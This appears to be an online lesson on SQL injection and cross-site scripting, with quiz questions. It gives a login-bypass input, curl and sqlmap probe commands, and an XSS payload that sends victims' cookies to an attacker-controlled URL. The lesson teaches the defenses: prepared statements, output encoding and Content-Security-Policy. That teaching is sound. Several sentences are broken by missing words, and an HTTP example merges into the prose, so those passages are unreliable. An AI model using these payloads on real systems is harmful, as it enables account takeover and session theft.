Injection and XSS
When user input becomes code, the app runs your text. Learn both sides.
What you will learn
- -Explain how SQL injection turns input into database commands
- -Explain how XSS turns input into browser-executed script
- -Name the defense that actually stops each class
Nearly every injection bug is the same mistake in different clothing: the app takes your input and treats it as code instead of data. Learn to see that boundary and half of web hacking opens up. This lesson walks the two most common forms, and cross-site scripting, and the one fix that kills each.
SQL injection: your input becomes a query
A login form builds a database query out of what you type. The vulnerable code concatenates your input straight into the SQL string:
SELECT * FROM users WHERE name = 'INPUT' AND pass = 'INPUT';
If you type admin' -- into the name field, the query becomes:
SELECT * FROM users WHERE name = 'admin' --' AND pass = '';
The -- starts a SQL comment, so the check is commented out. You are
now logged in as admin without a password. Your quote closed the string early and
the of your text ran as query logic. That is injection in one line.
Classic probes an attacker tries first:
$curl "http://target/item?id=1'"$curl "http://target/item?id=1 OR 1=1"$sqlmap -u "http://target/item?id=1" --batchThe cure is not filtering bad words. It is prepared statements (parameterized queries), where input is bound as a value and can never be parsed as SQL. The database is told 'this is data', so a quote is just a quote. Blocklists of keywords always lose; separating code from data wins.
XSS: your input becomes browser script
Cross-site scripting is the same bug aimed at the browser. If a page echoes your
input into without it, you can inject a <script> that runs in
another user's session:
http://target/search?q=<script>document.location='http://you/c?'+document.cookie</script>
When a victim loads a page that reflects q, their browser runs your script and
ships their session to you. Three flavors to know:
- Reflected: rides in the request and bounces back in the response, usually via a crafted link you send a victim.
- Stored: payload is saved (a comment, a profile field) and fires for every visitor who views it. The most dangerous kind.
- -based: -side writes attacker input into the page with no round-trip needed.
The request that carries the payload
Both attacks travel inside an ordinary . Trace where your input enters and where it lands, and you find the injection point.
GET /api/users/1 HTTP/1.1 Host: target.example.com
HTTP/1.1 200 OK dies when the app encodes output for its context. Rendered into HTML, <
becomes < so the browser shows it instead of running it. Pair that with a
strict Content-Security- so injected script has nowhere to execute. Encode
on output, not just on input.
Why does the input admin' -- log you in without a password?
Name the single defense that best stops reflected and stored XSS. Two words.
Encoding user input for its output context (HTML, attribute, JavaScript) so the browser renders it as text instead of executing it. A Content-Security-Policy is a strong second layer.